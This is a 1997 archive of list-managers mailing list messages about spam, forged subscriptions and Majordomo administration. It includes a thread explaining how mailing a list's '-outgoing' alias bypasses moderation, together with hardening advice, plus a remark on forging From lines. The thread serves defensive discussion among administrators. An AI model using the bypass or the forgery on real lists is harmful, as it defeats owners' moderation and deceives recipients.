"pending confirmation" mode, while still allowing the would-be subscriber to modify his subscription state. It *is* a problem with ListServ, though, and possibly many others (I know that CREN will soon be releasing the confirmations-capable version of ListProc), so I figured that this would be an appropriate forum for the suggestion. Hope this was clear. Not much else that I'm writing these days seems to be ... ;-) - Vince Sabio orionsoft@telephonet.com -- If you run a mailing list and are tired of manually processing mail bounces, then you probably need SmartBounce -- currently managing mailing lists in excess of 150,000 subscribers. For more information, send a blank email to or visit . -- From owner-list-managers-outgoing Tue Apr 22 20:15:14 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA01713 for list-managers-outgoing; Tue, 22 Apr 1997 20:04:32 -0700 (PDT) Received: from wildride.schoneal.com (wildride.schoneal.com [206.81.38.2]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id UAA01676 for ; Tue, 22 Apr 1997 20:04:21 -0700 (PDT) Received: (from meo@localhost) by wildride.schoneal.com (8.6.11/8.6.11) id WAA14176 for list-managers@GreatCircle.COM; Tue, 22 Apr 1997 22:03:27 -0500 Message-Id: <199704230303.WAA14176@wildride.schoneal.com> Subject: Re: CyberPromo To: list-managers@GreatCircle.COM Date: Tue, 22 Apr 1997 22:03:27 -0500 (CDT) From: meo@schoneal.com (Miles O'Neal) Reply-To: meo@schoneal.com (Miles O'Neal) Organization: Schober O'Neal, Inc / Net Ads X-WWW-URL: http://www.schoneal.com/~meo/ X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Brian Behlendorf said... | |I find it hilarious that a spam outfit has a 1-800 number, and invite |anyone with proper equipment to give them a taste of their own medicine in |a medium they can understand. You get a message that it's disconnected, and are given a non-800 number to call. -Miles From owner-list-managers-outgoing Tue Apr 22 20:24:48 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id UAA02657 for list-managers-outgoing; Tue, 22 Apr 1997 20:09:36 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id UAA02640 for ; Tue, 22 Apr 1997 20:09:24 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by sparkie.gnofn.org (8.7.Beta.10/8.7.Beta.10) with SMTP id WAA11757; Tue, 22 Apr 1997 22:09:06 -0500 (CDT) Date: Tue, 22 Apr 1997 22:09:06 -0500 (CDT) From: "Your friend at:" To: Stephanie da Silva cc: list-managers@GreatCircle.COM Subject: IGC (Institute for Global Communication) In-Reply-To: <199704222209.RAA01494@bonkers.taronga.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk To whom it may concern, Does anyone have some idea what happened to IGC. There Majordomo and email seems to be completely on the blink. Sincerely yours, Christopher J. Flores <><><><><><><><><><><><><><><><><><><><><><><><><> Sastra <><><><><><><><><><><><><><><><><><><><><><><><><> From owner-list-managers-outgoing Tue Apr 22 22:14:29 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id VAA22118 for list-managers-outgoing; Tue, 22 Apr 1997 21:52:57 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id VAA22091 for ; Tue, 22 Apr 1997 21:52:49 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id XAA08476; Tue, 22 Apr 1997 23:52:51 -0500 (CDT) To: Paul Hoffman Cc: list-managers@greatcircle.com Subject: Re: IGNORE (SORRY): Probably prelude to a spam: getting on "oknames" list References: <199704202130.OAA25278@ayla.idyllmtn.com> Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 22 Apr 1997 23:52:50 -0500 In-Reply-To: Paul Hoffman's message of Mon, 21 Apr 1997 08:45:07 -0700 Message-ID: Lines: 16 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >>>>> "PH" == Paul Hoffman writes: PH> I freaked out when I saw that he had subscribed to "oknames", which as PH> those of us who run Majordomo know is a file that is used to list PH> people who can post to restricted lists, even ones they're not on. ??? XYX:sina:~/mj/majordomo-1.94.1> grep -i oknames **/* (nothing) Majordomo makes no internal use of such a thing. Of course it could be set up locally, but I figured it was just an Oklahoman's genealogy list or something. - J< From owner-list-managers-outgoing Tue Apr 22 22:28:07 1997 Received: from domino.dp.ua (domino.dp.ua [194.44.23.247]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id WAA29204 for ; Tue, 22 Apr 1997 22:28:01 -0700 (PDT) Received: from domino.dp.ua (smtp-win.domino.dp.ua [192.168.222.67]) by domino.dp.ua (8.8.2/8.7.dis) with SMTP id IAA05574 for ; Wed, 23 Apr 1997 08:37:08 +0300 (UKD) Date: Wed, 23 Apr 1997 08:37:08 +0300 (UKD) From: Dmitry Gorobets To: list-managers-outgoing@greatcircle.com Subject: I think - this is a BIG secucrity HOLE Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi! As you may see - my messages don't need to be approval :( Majordomo send it direct to all subscribers, although the list is moderated. Any idea? Best regards, Dmitry Gorobets (dmitro@domino.dp.ua) From owner-list-managers-outgoing Wed Apr 23 03:34:18 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id BAA05041 for list-managers-outgoing; Wed, 23 Apr 1997 01:53:18 -0700 (PDT) Received: from juliet.ic.ac.uk (juliet.ic.ac.uk [155.198.5.4]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id BAA04831 for ; Wed, 23 Apr 1997 01:52:17 -0700 (PDT) Received: from starbug.cc.ic.ac.uk [155.198.51.3] by juliet.ic.ac.uk with smtp (Exim 0.57 #4) id 0wJxjq-00058U-00; Wed, 23 Apr 1997 09:49:18 +0100 Received: from jnb by starbug.cc.ic.ac.uk with local (Exim 1.60 #1) id 0wJxjq-0001DB-00; Wed, 23 Apr 1997 09:49:18 +0100 Subject: Re: I think - this is a BIG secucrity HOLE To: dmitro@domino.dp.ua (Dmitry Gorobets) Date: Wed, 23 Apr 1997 09:49:18 +0100 (BST) Cc: list-managers@greatcircle.com In-Reply-To: from "Dmitry Gorobets" at Apr 23, 97 08:37:08 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Message-Id: From: Jason Bain Sender: list-managers-owner@GreatCircle.COM Precedence: bulk RE: > As you may see - my messages don't need to be approval :( > Majordomo send it direct to all subscribers, although the list is > moderated. > Any idea? Fairly simple solution - do not use the default -outgoing list expansion name: use something else! Ensure that this new name cannot be found by switching off VRFY & EXPN and possibly recipient expansion in Received lines in MTAs such as sendmail. -- Jason N. Bain, Centre for Computing Services, Imperial College, London SW7 2BX. Telephone:(0171) 594 6974 Fax:(0171) 594 6958 Electronic mail:J.N.Bain@ic.ac.uk From owner-list-managers-outgoing Wed Apr 23 04:59:44 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id EAA05362 for list-managers-outgoing; Wed, 23 Apr 1997 04:54:32 -0700 (PDT) Received: from panix2.panix.com (panix2.panix.com [198.7.0.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id EAA05174 for ; Wed, 23 Apr 1997 04:53:41 -0700 (PDT) Received: (from vicric@localhost) by panix2.panix.com (8.8.5/8.7/PanixU1.3) id HAA09960 for list-managers@greatcircle.com; Wed, 23 Apr 1997 07:53:46 -0400 (EDT) From: Vicki Richman Message-Id: <199704231153.HAA09960@panix2.panix.com> Subject: Re: IGC (Institute for Global Communication) To: list-managers@greatcircle.com Date: Wed, 23 Apr 1997 07:53:46 -0400 (EDT) In-Reply-To: from "Your friend at:" at Apr 22, 97 10:09:06 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Your friend at: has written: > Does anyone have some idea what happened to IGC. There Majordomo > and email seems to be completely on the blink. IGC is upgrading Majordomo and experimenting with anti-attack filters. They have encountered snafus, and have sent apologies to listowners. List mail is slow, but ordinary email seems okay. Vicki From owner-list-managers-outgoing Wed Apr 23 07:30:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id GAA16361 for list-managers-outgoing; Wed, 23 Apr 1997 06:14:40 -0700 (PDT) Received: from list.audubon.org (www.audubon.org [38.242.205.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id GAA16342 for ; Wed, 23 Apr 1997 06:14:17 -0700 (PDT) Received: from [38.242.205.98] (38.242.205.98) by list.audubon.org (LSMTP for Windows NT v1.1a) with SMTP id <0.91CDBDF0@list.audubon.org>; Wed, 23 Apr 1997 9:13:12 -0400 X-Sender: pepper-list@list.audubon.org (Unverified) Message-Id: In-Reply-To: <9704191350.AA01276@m-w.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Tue, 22 Apr 1997 19:13:10 -0400 To: awest@webster.m-w.com (Amy West) From: Chris Pepper Subject: Re: TAN: cc:Mail and html mailto: query Cc: list-managers@greatcircle.com Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >Our webmistress recently got mail from a user who claimed >that he couldn't send us a form on our Web page because it >uses a mailto: and he uses cc:Mail that isn't set up to >use POP/SMTP servers, and therefore the mailto: won't work. > >Is this so? Amy, The real solution is to switch to POP/SMTP mail, of course. :) While waiting for our local MIS people to make this move, we've confirmed that Navigator can be configured to send mail through a normal SMTP host (possibly the cc:Mail gateway cc:Mail uses to send/receive mail to/from the Internet). Navigator can be configured to send through SMTP host S, not receive (no host in the POP field), and provide a From: line of user@ccmail.com -- in other words, there's no connection between the SMTP host you deliver your mail to and the address which shows up on the message. Isn't 'forgery' fun? Chris From owner-list-managers-outgoing Wed Apr 23 07:47:00 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id FAA13594 for list-managers-outgoing; Wed, 23 Apr 1997 05:49:13 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id FAA13469 for ; Wed, 23 Apr 1997 05:48:37 -0700 (PDT) Received: from sparkie.gnofn.org (sparkie.gnofn.org [206.27.168.35]) by sparkie.gnofn.org (8.7.Beta.10/8.7.Beta.10) with SMTP id HAA07374 for ; Wed, 23 Apr 1997 07:48:38 -0500 (CDT) Date: Wed, 23 Apr 1997 07:48:37 -0500 (CDT) From: "Your friend at:" cc: list-managers@GreatCircle.COM Subject: Re: IGC (Institute for Global Communication) In-Reply-To: <199704231153.HAA09960@panix2.panix.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk Hi! They were talking about an upgrade. It must be a real hassle. cd <><><><><><><><><><><><><><><><><><><><><><><><><> Sastra <><><><><><><><><><><><><><><><><><><><><><><><><> "When your intelligence has passed out of the dense forest of delusion, you shall become indifferent to all that has been heard and all that is to be heard." (Bhagavad Gita 2.51) On Wed, 23 Apr 1997, Vicki Richman wrote: > Your friend at: has written: > > > Does anyone have some idea what happened to IGC. There Majordomo > > and email seems to be completely on the blink. > > IGC is upgrading Majordomo and experimenting with > anti-attack filters. They have encountered snafus, and have > sent apologies to listowners. > > List mail is slow, but ordinary email seems okay. > > Vicki > From owner-list-managers-outgoing Wed Apr 23 08:44:59 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA04133 for list-managers-outgoing; Wed, 23 Apr 1997 08:42:36 -0700 (PDT) Received: from sina.hpc.uh.edu (Sina.HPC.UH.EDU [129.7.3.5]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA04071 for ; Wed, 23 Apr 1997 08:42:11 -0700 (PDT) Received: (from tibbs@localhost) by sina.hpc.uh.edu (8.7.3/8.7.3) id KAA19346; Wed, 23 Apr 1997 10:38:12 -0500 (CDT) To: Dmitry Gorobets Cc: list-managers@GreatCircle.COM Subject: Re: I think - this is a BIG secucrity HOLE References: Mime-Version: 1.0 (generated by tm-edit 7.100) Content-Type: text/plain; charset=US-ASCII From: Jason L Tibbitts III Date: 23 Apr 1997 10:38:11 -0500 In-Reply-To: Dmitry Gorobets's message of Wed, 23 Apr 1997 08:37:08 +0300 (UKD) Message-ID: Lines: 22 X-Mailer: Gnus v5.4.46/Emacs 19.34 Sender: list-managers-owner@GreatCircle.COM Precedence: bulk >>>>> "DG" == Dmitry Gorobets writes: DG> As you may see - my messages don't need to be approval We're all so impressed with your list-hacking ability. Really. Now, if you had anything useful to ask, why didn't you ask it? If you want to eliminate the possibility of doing that on your lists, go ask in the Majordomo-users group or read the majordomo FAQ. If you're pointing out that this particular list is less secure, well thanks. We knew already. But nobody saw a need to bother until annoying people started exploiting it. Wait, in recent memory, only one annoying person has exploited it. Any guesses who that might be? You don't show that people need to change their locks by breaking into their houses and telling them about it in their living rooms. -- Jason L. Tibbitts III - tibbs@uh.edu - 713/743-8684 - 221SR1 System Manager: University of Houston High Performance Computing Center 1994 PC800 "Kuroneko" DoD# 1723 From owner-list-managers-outgoing Wed Apr 23 08:51:12 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id IAA03031 for list-managers-outgoing; Wed, 23 Apr 1997 08:32:06 -0700 (PDT) Received: from mail.sparknet.net (mail.sparknet.net [207.67.22.80]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id IAA02965 for ; Wed, 23 Apr 1997 08:31:40 -0700 (PDT) Received: from freedom.sparknet.net (freedom.sparknet.net [207.250.11.130]) by mail.sparknet.net (8.7.4/8.7.3) with SMTP id KAA06984; Wed, 23 Apr 1997 10:30:59 -0500 (CDT) Message-Id: <3.0.32.19970423103040.00d98924@mail.sparknet.net> X-Sender: knight@mail.sparknet.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 23 Apr 1997 10:31:36 -0500 To: list-managers@GreatCircle.COM From: Christopher Knight Subject: SparkNET - List Central - what's up. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk List Manager Friends: I was on the List-Managers-Digest when I read that there was suspicious activity coming out of the sparknet.net camp...... Being that this is my domain, I was greatly alarmed, since we work our butt off to ensure our good name/reputation. Turns out many of you (list-managers) have gotten your lists poked (info command invoked) by our list-central spider which we are developing. We are developing a complex and huge database of all lists on the internet...starting with all Majordomo lists. Yes I know, this has been done, but we're doing it also with our own unique twist. Therefore we wrote perl spiders to go out and query lists for their info, so we can index it and build the database. I wanted to apologize if this alarmed anyone, as no disrespect was intended. We are only looking to offer a free index service on the internet, as our way of giving back for all we've been given. WE ARE NOT ABOUT SPAM. In the last 12 months, we have kicked over 35 folks off our service on the first offense. We are listed by www.vix.com/spam/goodsites.html as being email 'responsible'. We have an extensive AUP that doesn't give second chances for spammers. Sorry about not announcing our intentions before emailing your lists for info. In fact, I'm going to change our plans, and bring the site live (rather than in beta), so that you can all see it later this week or early next week, in the interest of public disclosure. No disrespect intended. Sincerely, -Chris From owner-list-managers-outgoing Wed Apr 23 09:57:57 1997 Received: from kirkwood.hoosier.net (kirkwood.hoosier.net [206.106.64.12]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id JAA03080 for ; Wed, 23 Apr 1997 09:57:06 -0700 (PDT) Received: from localhost (lev@localhost) by kirkwood.hoosier.net (8.8.5/8.8.5) with SMTP id LAA25912; Wed, 23 Apr 1997 11:32:25 -0500 Date: Wed, 23 Apr 1997 11:32:25 -0500 (EST) From: P Kayak X-Sender: lev@kirkwood.hoosier.net To: Dmitry Gorobets cc: list-managers-outgoing@GreatCircle.COM Subject: Re:I think-this is.BIG secucrity HO (Not!) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Isn't "moderated" a word without a single, strict definition? - Paul "To have doubted one's first principles is the mark of a civilized man." |_Nine Stories_byJDSalinger=**** - O W Holmes From owner-list-managers-outgoing Wed Apr 23 10:23:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA04463 for list-managers-outgoing; Wed, 23 Apr 1997 10:12:40 -0700 (PDT) Received: from ginger.vnet.net (ginger.vnet.net [166.82.1.69]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA04451 for ; Wed, 23 Apr 1997 10:12:30 -0700 (PDT) Received: from jimi.vnet.net (jimi.vnet.net [166.82.1.19]) by ginger.vnet.net (8.8.4/8.8.2) with ESMTP id NAA23784 for ; Wed, 23 Apr 1997 13:12:52 -0400 (EDT) Received: from lys.vnet.net (murr@lys.vnet.net [166.82.1.6]) by jimi.vnet.net (8.8.4/8.8.4) with ESMTP id NAA04807 for ; Wed, 23 Apr 1997 13:14:06 -0400 (EDT) Received: from localhost (murr@localhost) by lys.vnet.net (8.7.6/8.7.3) with SMTP id NAA06911 for ; Wed, 23 Apr 1997 13:07:44 -0400 (EDT) X-Authentication-Warning: lys.vnet.net: murr owned process doing -bs Date: Wed, 23 Apr 1997 13:07:43 -0400 (EDT) From: murr rhame To: list-managers@GreatCircle.COM Subject: Re: SparkNET - List Central - what's up. In-Reply-To: <3.0.32.19970423103040.00d98924@mail.sparknet.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: list-managers-owner@GreatCircle.COM Precedence: bulk On Wed, 23 Apr 1997, Christopher Knight wrote: > We are developing a complex and huge database of all lists on the > internet...starting with all Majordomo lists. Yes I know, this has > been done, but we're doing it also with our own unique twist... I don't know what you have in mind for your "unique twist". I do know that there are at least two large lists of mailing lists available on the Web. Stephanie da Silva has been compiling her list of lists for years. http://www.neosoft.com/internet/paml/ There is a nice search engine on the Web at: http://www.liszt.com/ Such data bases are two edged swords. On the one hand, they make it easier for folks to find lists that they are interested in. On the other hand, I suspect that most of the swine who forging subscriptions use the data from such lists. - murr - From owner-list-managers-outgoing Wed Apr 23 10:53:46 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id KAA08140 for list-managers-outgoing; Wed, 23 Apr 1997 10:40:05 -0700 (PDT) Received: from mail.sparknet.net (mail.sparknet.net [207.67.22.80]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id KAA07991 for ; Wed, 23 Apr 1997 10:39:09 -0700 (PDT) Received: from freedom.sparknet.net (freedom.sparknet.net [207.250.11.130]) by mail.sparknet.net (8.7.4/8.7.3) with SMTP id MAA16347 for ; Wed, 23 Apr 1997 12:39:19 -0500 (CDT) Message-Id: <3.0.32.19970423123901.00d883a4@mail.sparknet.net> X-Sender: knight@mail.sparknet.net X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Wed, 23 Apr 1997 12:39:04 -0500 To: list-managers@GreatCircle.COM From: Christopher Knight Subject: Re: SparkNET - List Central - what's up. Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: list-managers-owner@GreatCircle.COM Precedence: bulk At 01:07 PM 4/23/97 -0400, murr wrote: ----discussing lists of lists databases---- >Such data bases are two edged swords. On the one hand, they make it >easier for folks to find lists that they are interested in. On the other >hand, I suspect that most of the swine who forging subscriptions use the >data from such lists. >- murr - Well, what if it is limited by IP how many searches can be done within a set time period? There are ways to combat people who are looking to cause harm via list indexes, I'll agree. What if we required membership first to view the database, just like four11.com, where the initial tid bits of data is free for everyone, and if you want MORE tid bits of data, it's still free, but you have to take the time to register, and THEN even AFTER you register, you still only get to see 50-200 lists max per search. Comments via private email are always appreciated. -Chris From owner-list-managers-outgoing Wed Apr 23 11:38:58 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id LAA15699 for list-managers-outgoing; Wed, 23 Apr 1997 11:27:04 -0700 (PDT) Received: from mushi.colo.neosoft.com (mushi.colo.neosoft.com [206.109.6.82]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id LAA15681 for ; Wed, 23 Apr 1997 11:26:50 -0700 (PDT) Received: (qmail 1007 invoked from network); 23 Apr 1997 18:26:50 -0000 Received: from bonkers.neosoft.com (HELO bonkers.taronga.com) (root@206.109.2.48) by mushi.colo.neosoft.com with SMTP; 23 Apr 1997 18:26:50 -0000 Received: (from arielle@localhost) by bonkers.taronga.com (8.6.11/8.6.9) id NAA23881 for list-managers@GreatCircle.COM; Wed, 23 Apr 1997 13:26:48 -0500 From: arielle@taronga.com (Stephanie da Silva) Message-Id: <199704231826.NAA23881@bonkers.taronga.com> Subject: Re: SparkNET - List Central - what's up. To: list-managers@GreatCircle.COM Date: Wed, 23 Apr 1997 13:26:48 -0500 (CDT) X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk murr rhame: > On Wed, 23 Apr 1997, Christopher Knight wrote: > > We are developing a complex and huge database of all lists on the > > internet...starting with all Majordomo lists. Hope you allow listowners a way to opt out of this if they desire. >I do know > that there are at least two large lists of mailing lists available on the > Web. Let's not forget Tile. > Stephanie da Silva has been compiling her list of lists for years. > http://www.neosoft.com/internet/paml/ > > There is a nice search engine on the Web at: > http://www.liszt.com/ Not to toot my own horn or anything, but I just convinced Peter to add a search engine to the PAML. Nifty thing, it's glimpse-based. > Such data bases are two edged swords. On the one hand, they make it > easier for folks to find lists that they are interested in. On the other > hand, I suspect that most of the swine who forging subscriptions use the > data from such lists. Unfortunately, this is true. I was just contacted by a listowner who had a forge attack on his server which didn't succeed because it used a typo that was in my database. I've started getting requests from people not wanting to be listed now because of spam and abuse and stuff. Not very many, but I find it to be a disturbing trend. From owner-list-managers-outgoing Wed Apr 23 12:59:32 1997 Received: from mail1w-int.prodigy.net (mail1w-ext.prodigy.net [198.83.18.53]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id MAA28085 for ; Wed, 23 Apr 1997 12:59:28 -0700 (PDT) Received: from grayling.fishy.net ([172.16.3.90]) by mail1w-int.prodigy.net (8.7.5/8.7.3) with SMTP id PAA76848; Wed, 23 Apr 1997 15:59:28 -0400 Date: Wed, 23 Apr 1997 15:59:28 -0400 Message-Id: <199704231959.PAA76848@mail1w-int.prodigy.net> X-Sender: bonnie@pop.fishy.net X-Mailer: Windows Eudora Pro Version 2.1.2 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" To: P Kayak From: Bonnie Scott Subject: Re:I think-this is.BIG secucrity HOLE Cc: list-managers-outgoing@GreatCircle.COM At 11:32 AM 4/23/97 -0500, P Kayak wrote: > >Isn't "moderated" a word without a single, strict definition? In the context of Majordomo mailing lists, no, not really. There is a variable called "moderated" that you can set in the majordomo config file. >From a majordomo list config file: # moderate [bool] (no) # If yes, all postings to the list must be approved by the moderator. moderate = no When it is set (when a list is "moderated"), all postings to the list must be approved by a person with the moderator's password. This definition is pretty well understood, even outside of the majordomo realm. The only other context I've seen "moderation" used is when newsgroup content is going through a semi-intelligent automated "scanner" that acts as a moderator and approves postings if nothing objectionable is found. Bonnie Scott Prodigy Services Corp. From owner-list-managers-outgoing Wed Apr 23 13:09:15 1997 Received: from acadcomp.cmp.ilstu.edu (acadcomp.cmp.ilstu.edu [138.87.1.3]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id NAA29518 for ; Wed, 23 Apr 1997 13:09:05 -0700 (PDT) Received: from [138.87.143.23] by acadcomp.cmp.ilstu.edu (AIX 3.2/UCB 5.64/4.03) id AA11653; Wed, 23 Apr 1997 15:08:20 -0500 Message-Id: <9704232008.AA11653@acadcomp.cmp.ilstu.edu> Comments: Authenticated sender is From: "Gary Klass" To: list-managers-outgoing@greatcircle.com Date: Wed, 23 Apr 1997 15:13:11 +0000 Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7BIT Subject: Re: I think - this is a BIG secucrity HOLE Priority: normal In-Reply-To: X-Mailer: Pegasus Mail for Win32 (v2.53/R1) I think a good grammar-checker would have screened this out. On 23 Apr 97 at 8:37, Dmitry Gorobets wrote: Hi! As you may see - my messages don't need to be approval :( Majordomo send it direct to all subscribers, although the list is moderated. Any idea? Best regards, Dmitry Gorobets (dmitro@domino.dp.ua) -- Gary Klass gmklass@ilstu.edu Department of Political Science Illinois State University Normal Illinois 61790-4699 From owner-list-managers-outgoing Wed Apr 23 14:08:08 1997 Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with SMTP id OAA10451 for ; Wed, 23 Apr 1997 14:08:01 -0700 (PDT) Received: from research.research.bell-labs.com ([135.104.1.3]) by dirty; Wed Apr 23 17:07:28 EDT 1997 Received: from couch.dnrc.bell-labs.com ([135.180.160.30]) by research; Wed Apr 23 17:07:27 EDT 1997 Received: (from tal@localhost) by couch.dnrc.bell-labs.com (8.7.5/8.7.3) id RAA07376; Wed, 23 Apr 1997 17:07:28 -0400 (EDT) From: Tom Limoncelli Message-Id: <199704232107.RAA07376@couch.dnrc.bell-labs.com> Subject: Re: I think-this is.BIG secucrity HOLE To: bonnie@staff.prodigy.com (Bonnie Scott) Date: Wed, 23 Apr 1997 17:07:28 -0400 (EDT) Cc: list-managers-outgoing@greatcircle.com In-Reply-To: <199704231959.PAA76848@mail1w-int.prodigy.net> from "Bonnie Scott" at Apr 23, 97 03:59:28 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Yes, if you want to override the moderator on a moderated mailing list don't email to LIST@SITE, but mail to LIST-outgoing@SITE To defeat this, the admin should replace "LIST-outgoing" with "LIST-secretword" and make sure that people can't find out what "secretword" is. For example: 1. Configure Sendmail to not display it in the Received: headers. 2. Make sure your /etc/aliases file can't be accessed by untrustworthy users. (this may mean running your mailing lists on a machine that only lets you in) 3. Disable EXPN and VRFY (this should be done anyway). --tal -- Tom Limoncelli -- tal@dnrc.bell-labs.com (work) -- tal@plts.org (play) "A bend in the road is not the end of the road unless you fail to make the turn." From owner-list-managers-outgoing Wed Apr 23 15:47:34 1997 Received: from mailbox.neosoft.com (mailbox.neosoft.com [206.109.1.16]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA27838 for ; Wed, 23 Apr 1997 15:47:30 -0700 (PDT) Received: from praline.no.neosoft.com (praline.no.NeoSoft.COM [206.27.160.253]) by mailbox.neosoft.com (8.8.4/8.8.3) with SMTP id RAA20317 for ; Wed, 23 Apr 1997 17:47:37 -0500 (CDT) Date: Wed, 23 Apr 1997 17:47:36 -0500 (CDT) From: Ray Jones Reply-To: Ray Jones cc: list-managers-outgoing@GreatCircle.COM Subject: Re:I think-this is.BIG secucrity HO (Not!) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Wed, 23 Apr 1997, P Kayak wrote: > Isn't "moderated" a word without a single, strict definition? I'm not sure what you mean by that, but "moderate" is either "yes" or "no" If set to "yes", every message must be approved before it is posted to the list. If set to "no" messages don't need approval. -- Regards, Ray Jones **************************************************************** Coming to New Orleans? Contact "Big Ray the Buggy Driver" Licensed Tour Guide Historical Tours through the romantic French Quarter in New Orleans in a mule-drawn "vis-a-vis" carriage while enjoying its ambiance and hear about our history, sites of interest and way of life. Cellular Phone 504-884-9572 Digital Beeper 504-547-8032 CURRENTLY ON SABBATICAL AND NOT WORKING ray.jones@mail.sstar.com http://www.neosoft.com/~rayjones/welcome.html "Big Ray's" New Orleans Mailing List Instructions To SUBSCRIBE: send "subscribe noml" TO: majordomo@communique.net From owner-list-managers-outgoing Wed Apr 23 16:38:56 1997 Received: (majordom@localhost) by honor.greatcircle.com (8.8.5/Honor-Lists-970308-1) id PAA25164 for list-managers-outgoing; Wed, 23 Apr 1997 15:32:51 -0700 (PDT) Received: from duticai.twi.tudelft.nl (duticai.twi.tudelft.nl [130.161.159.1]) by honor.greatcircle.com (8.8.5/Honor-970308-1) with ESMTP id PAA25062 for ; Wed, 23 Apr 1997 15:32:28 -0700 (PDT) Received: (from winfave@localhost) by duticai.twi.tudelft.nl (8.8.5/8.8.5) id AAA15606; Thu, 24 Apr 1997 00:32:24 +0200 (MET DST) From: Alexander Verbraeck Message-Id: <199704232232.AAA15606@duticai.twi.tudelft.nl> Subject: Updated list of forged addresses To: List-Managers@greatcircle.com Date: Thu, 24 Apr 1997 00:32:23 +0200 (MET DST) Cc: winfave@duticai.twi.tudelft.nl, orionsoft@telephonet.com X-Mailer: ELM [version 2.4 PL25] Content-Type: text Sender: list-managers-owner@GreatCircle.COM Precedence: bulk A whole new bunch of forged subscriptions came in the last 24 hours. For those of you who filter out the forged addresses using the addresses themselves rather than the hostnames used for posting, the updated list below has some 10 new addresses, and is now sorted alphabetically, so it can easily be included in a .ignored file for listprocessor, and checked against the subscriber file. Please note that the forgeries stopped using the name taken from the address and domain; subscription names are different from the e-mail addresses now. The command is also left out of the subject of the subscription e-mail, making it harder to recognize it right away. Happy :-( hunting, Alexander Verbraeck. 110077.0253@compuserve.com 